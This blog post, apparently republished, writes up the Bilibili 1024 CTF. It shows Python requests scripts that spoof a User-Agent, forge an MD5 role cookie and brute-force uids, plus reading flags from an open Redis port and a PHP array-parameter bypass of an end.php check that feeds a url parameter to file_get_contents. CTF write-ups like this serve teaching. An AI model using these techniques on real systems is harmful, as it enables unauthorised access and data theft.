【Requests】Bilibili Security 1024程式節 CTF記錄-有解無憂

0x00 前言

B站搞了個1024程式員節，看起來是個 toy CTF，有點開心，
于是想到了曾經在CTF和ACM的路口選擇了ACM，CTF一直是心中的一點遺憾，想著要不咱……玩玩看？

【寫在前面】這次有點意思，可能 flag 是需要和各位自己的 uid 有某些計算的，不同賬號同一時間以及相同賬號不同時間的答案居然會有不同，看來是為了防止無腦抄襲，至少還是需要用自己的 uid 親自走一遍流程的，不錯不錯，
在這里插入圖片描述

0x01 養成看到網頁就F12的好習慣

頁面的背后是什么？
題目地址： http://45.113.201.36/index.html

說到網頁的“背后”，一般想到的就是有東西被隱藏了，我們可以直接審查元素看到果然有個 hidden：

<body>
    <div class="banner">
        <!--<img src="banner.png" alt="嗶哩嗶哩" οndragstart="return false;">-->
	<img src="api/images?file=banner.png" alt="嗶哩嗶哩" ondragstart="return false;">
    </div>
    <div class="content">
        <h2>歡迎來到嗶哩嗶哩星球！</h2>

    <section id="getintouch" class="flipInX animated">
        <div class="container" style="border-bottom: 0;">
            <h1>
                <input id="flag1" type="hidden" values="flag1"></input>
                <h4 id="flag2"></h4>
            </h1>
        </div>
        <div class="container">
        </div>
    </section>
    </div>
</body>

把 hidden 刪掉，或者直接從審查元素里把 flag 拖出來復制就好啦 ~

在這里插入圖片描述

0x02 Headers & User Agent

真正的秘密只有特殊的設備才能看到
題目地址： http://45.113.201.36/index.html

頁面地址和剛才的一樣，說到特殊的設備，我的第一反應其實是“大概要用移動端吧”，所以即便看到了網頁原始碼里沒有區分設備的代碼，我也抱著“可能有 User Agent 分流的高端操作”的想法用手機看了看，
—— “HTTP 406 請先登陸”
—— “HTTP 403”
哦對不起，看來是我搞錯了，
然后我們回到頁面上來，有這么一句話叫做：

需要使用bilibili Security Browser瀏覽器訪問～

打開網頁的審查元素，我們可以看到：

$.ajax({
    url: "api/ctf/2",
    type: "get",
    success:function (data) {
        //console.log(data);
        if (data.code == 200){
            // 如果有值：前端跳轉
            $('#flag2').html("flag2: " + data.data);
        } else {
            // 如果沒值
            $('#flag2').html("需要使用bilibili Security Browser瀏覽器訪問～");
        }
    }
})

簡單解釋一下就是，我們找一個叫做 “api/ctf/2” 的 API 要答案，如果它認識我們就給，不認識，那就不給，
根據頁面的提示來看，我尋思著得用 bilibili 安全瀏覽器了，但哪有這瀏覽器呀，那意思是……
User Agent 是 “bilibili Security Browser”？

import requests

headers = {
	'Host': '45.113.201.36',
	'User-Agent': 'bilibili Security Browser',
	# 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36',
	'X-Requested-With': 'XMLHttpRequest',
    'Connection': 'keep-alive',
    # 'Pragma': 'no-cache',
    # 'Cache-Control': 'no-cache',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'Upgrade-Insecure-Requests': '1',
    'Accept-Encoding': 'gzip, deflate',
    'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7',
}

s = requests.Session()
url = 'http://45.113.201.36/api/ctf/2'

if __name__ == "__main__":
    response = s.get(url=url, headers=headers)
    print(response.text)

—— “HTTP 406：請先登錄”

哦哦哦還要登錄！那Cookie也得貼一下（安全起見，我擋一下session）：

headers.update{
	'Cookie': 'session=eyJ1aWQiOiI1NDc4NDAifQ.abcdef.SEwRNzYMFgFui75321FBJStdQeg'
}

好了拿到了：

>>> print(eval(response.text)["msg"])
請先登錄
>>> headers.update({'Cookie': 'session=eyJ1aWQiOiI1NDc4NDAifQ.abcdef.SEwRNzYMFgFui75321FBJStdQeg'})
>>> response = s.get(url='http://45.113.201.36/api/ctf/2', headers=headers)
>>> response.text
'{"code":200,"data":"9535c0a5-41f5074d-44115638-63fa8d2d","msg":""}\n'

0x03 我不承認弱密碼是CTF的一種

密碼是啥？
題目地址： http://45.113.201.36/login.html

上來就給了一個用戶名密碼讓你填，看了看網頁元素，
里面一個 ajax 的意思是對著 api 發送用戶名密碼，對了給 flag，錯了不給，
第一反應嘗試了一下 admin/admin，結果不對
然后試了一下 admin/123456，結果也不對
然后看了一下頁面上 “二次元” 世界，歡迎來到 “嗶哩嗶哩星球” ……
在這里插入圖片描述
bilibili / bilibili 不對
admin / bilibili 呃…… 對了
這算是個什么題嘛！

0x04 超級管理員有幾種寫法

對不起，權限不足～
題目地址： http://45.113.201.36/superadmin.html

在這里插入圖片描述

看了一眼，這個頁面的 get 操作什么都沒找我要，那么就是在 header 里做文章了，看了下Cookie分為兩個部分，role 和 session，其中 role 是一個32位看起來很像16進制的字串，
—— 難道這就是 flag？
—— （提交）哦不是
—— 那莫非是 MD5？

在這里插入圖片描述
u開頭的……四個字符…… 莫不是user吧哈哈哈，
然后試了一下…… 真的是……

MD5("user") = ee11cbb19052e40b07aac0ca060c23ee

那我是不是只要用超級管理員的MD5來替換掉這個Cookie里的role就行了？
太簡……單……哎？admin 的 MD5 也不對，superadmin 的 MD5 也不對？

# MD5  
user: ee11cbb19052e40b07aac0ca060c23ee
admin: 21232f297a57a5a743894a0e4a801fc3
bilibili: 130e29f351572e58c49fd4c910d7beb0
superadmin: 17c4520f6cfd1ab53d8745e84681eb49
超級管理員: 302ff00ddb9cb45c970a316e5212bb34
administrator: 200ceb26807d6bf99fd6f4f0d1ca54d4
Administrator: 7b7bc2512ee1fedcd76bdc68926d4f7b

于是實驗了如此之多的情況，終于在最后一個超級管理員的單詞上得到了正確的 flag（你用這詞誰能第一時間想到啊！怒）：

# 省略 10000 字嘗試程序
>>> data = {"username": "superadmin"}
>>> data = {"role": "superadmin"}
>>> response = s.get(url='http://45.113.201.36/api/ctf/4', data=data, headers=headers)
>>> response.text
'{"code":"403","data":"","msg":""}\n'
>>> headers.update({
... 'Cookie': 'role=200ceb26807d6bf99fd6f4f0d1ca54d4; session=eyJ1aWQiOiI1NDc4NDAifQ.abcdef.YjyKwfR-LZ6zYDRgjbZyk6PArn0',})
>>> response = s.get(url='http://45.113.201.36/api/ctf/4', data=data, headers=headers)
>>> response.text
'{"code":"403","data":"","msg":""}\n'
>>> response = s.get(url='http://45.113.201.36/api/ctf/4', headers=headers)
>>> response.text
'{"code":"403","data":"","msg":""}\n'
>>> headers.update({
... 'Cookie': 'role=7b7bc2512ee1fedcd76bdc68926d4f7b; session=eyJ1aWQiOiI1NDc4NDAifQ.abcdef.YjyKwfR-LZ6zYDRgjbZyk6PArn0',})
>>> response = s.get(url='http://45.113.201.36/api/ctf/4', headers=headers)
>>> response.text
'{"code":200,"data":"9683e651-a291e88e-056553b8-30141099","msg":""}\n'

0x05 暴力破解真的是一種美學嗎

別人的秘密
題目地址： http://45.113.201.36/user.html

在這里插入圖片描述

        $(function () {

            (function ($) {
                $.getUrlParam = function(name) {
                    var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
                    var r = window.location.search;
					console.log(r);
					r = r.substr(1).match(reg);
                    if (r != null) return unescape(r[2]); return null;
                }
            })(jQuery);
        
            var uid = $.getUrlParam('uid');
            if (uid == null) {
                uid = 100336889;
            }
            $.ajax({
                url: "api/ctf/5?uid=" + uid,
                type: "get",
                success:function (data) {
                    console.log(data);
                    if (data.code == 200){
                        // 如果有值：前端跳轉
                        $('#flag').html("歡迎超級管理員登陸～flag : " + data.data )
                    } else {
                        // 如果沒值
                        $('#flag').html("這里沒有你想要的答案～")
                    }
                }
            })
        });

我們可以看到，這題一上來擺明了告訴你我就找你要一個 uid，
沒有提供 uid 的情況下會直接用一個默認的（這個默認的 uid 我也去看了，確實應該就是個普通吃瓜觀眾）
我第一時間實驗了 ⑨bishi老爺的uid，已婚的uid，都不對，
然后去看 22娘 33娘好像也沒有官方認證的賬號，uid 也無從得知，
那就很無奈的只能暴搜了……

from configparser import RawConfigParser

import requests

headers = {
    'Cookie': 'role=7b7bc2512ee1fedcd76bdc68926d4f7b; session=eyJ1aWQiOiI1NDc4NDAifQ.X5QVaw.SEwRNzYMFgFui7Tzo1FBJStdQeg',
	'Host': '45.113.201.36',
	'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36',
	'X-Requested-With': 'XMLHttpRequest',
    'Connection': 'keep-alive',
    # 'Pragma': 'no-cache',
    # 'Cache-Control': 'no-cache',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'Upgrade-Insecure-Requests': '1',
    'Accept-Encoding': 'gzip, deflate',
    'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7',
}
# self.headers = None

s = requests.Session()
url = 'http://45.113.201.36/api/ctf/5?uid='


if __name__ == "__main__":
    # for i in range(10000):
    for i in range(100336889, 100337000):
        response = s.get(
            url=url + str(i), headers=headers)
        print(i, response.text)

爆搜到 100336921 的時候出現了 HTTP 200 和 flag 字串，但我并高興不起來，我總覺得是不是還有別的方法可以得到這個 uid，（問了下其他人，他們的是 923，而我的是 921，看來答案還具有多樣性）

0x06 讓我看看題目到底是啥好不好球球了

結束亦是開始
題目地址： http://45.113.201.36/blog/single.php?id=1

從這里開始，題目就不從 start 頁面中獲得了，
可以認為一條新的線路從這個新的 ip 站點開始了，
——對不起，等我們趕到的時候，這個站點已經連不上，就只剩下這個快取頁面了，

在這里插入圖片描述

0x08 你們就不想讓這個服務器活著

知道為什么第六題老上不去嗎？
因為第八題要掃開放埠，
大家都不知道是哪個埠所以都在掃，這個一般來說叫什么呢？
嗯，叫DDOS，

就不說怎么掃埠了，for 回圈挨個試驗比較呆，直接告訴你們是 6379 埠，
下載一個Redis客戶端：
https://github.com/microsoftarchive/redis/releases

redis-cli.exe -h 120.92.151.189  -p  6379
(120.92.151.189:6379) > keys *
1) "flag4"
2) "flag5"
...
11) "flag8"
(120.92.151.189:6379) > get flag8
{flag8:d436b982-2b81aa54-49a8d2db-87ab951a}

0x10 你們這套操作是我七夕玩剩下的

七夕的時候給 @ZoeCUR 寫了個CTF當禮物（然后被好友噴了個狗血淋頭說我是鈦合金直男），用的方法和這題幾乎完全一樣 = =

首先試著打開了 http://120.92.151.189/blog/test.php
看到了一個只由 ![]{} 組成的文本，我第一時間居然去找了猴語解碼，是我孤陋寡聞了，詢問 dalao 后得知這東西叫 JSFuck 編碼……
你們這些寫JS的怎么回事？！

總之解碼之后可以得到兩個字串：

"程式員最多的地方"
"bilibili1024havefun"

剛看到這里我就突然有種既視感，別是要在github上找到個檔案，然后檔案指向一張圖片，然后圖片里藏了個字串，然后字串解碼是個七夕祝福視頻啊（事實證明除了七夕祝福視頻，都一樣……）！

在我回頭寫這篇博客的時候才發現 Github 上蹭熱度的人已經把搜索結果污染了 23333，蹭還是你們會蹭，有星嗎就蹭？（我的天還真有人拿了三顆，我酸了）
在這里插入圖片描述

我們不管那些蹭熱度的，總之真實的檔案是這個
https://github.com/interesting-1024/end/blob/main/end.php

檔案內容如下：

<?php

//filename end.php

$bilibili = "bilibili1024havefun";

$str = intval($_GET['id']);
$reg = preg_match('/\d/is', $_GET['id']);

if(!is_numeric($_GET['id']) and $reg !== 1 and $str === 1){
	$content = file_get_contents($_GET['url']);
	
	//檔案路徑猜解
	if (false){
		echo "還差一點點啦～";
	}else{
		echo $flag;
	}
}else{
	echo "你想要的不在這兒～";
}
?>

里面是一個提示，告訴我們有個叫 end.php 的東西，好我們回頭到目標IP的靶機上，照抄學一個 url：

http://120.92.151.189/blog/end.php?id[]=1&url=/api/ctf/6/flag.txt
暫時截不了圖……寫到這目標網站又連不上了……
總之隨便構造，只要滿足條件的傳參無論你寫啥都是能拿到一張圖
在這里插入圖片描述
CSDN上傳的圖片是壓縮的，圖片各位還是得自己下載，
用記事本打開圖片的末尾就能看到 Flag：

{flag10:2ebd3b08-47ffc478-b49a5f9d-f6099d65}

轉載請註明出處，本文鏈接：https://www.uj5u.com/qita/193149.html

標籤：其他

上一篇：Re：PyQt5 從零開始的MVC開發模式規劃

下一篇：H3C（28）——IPSec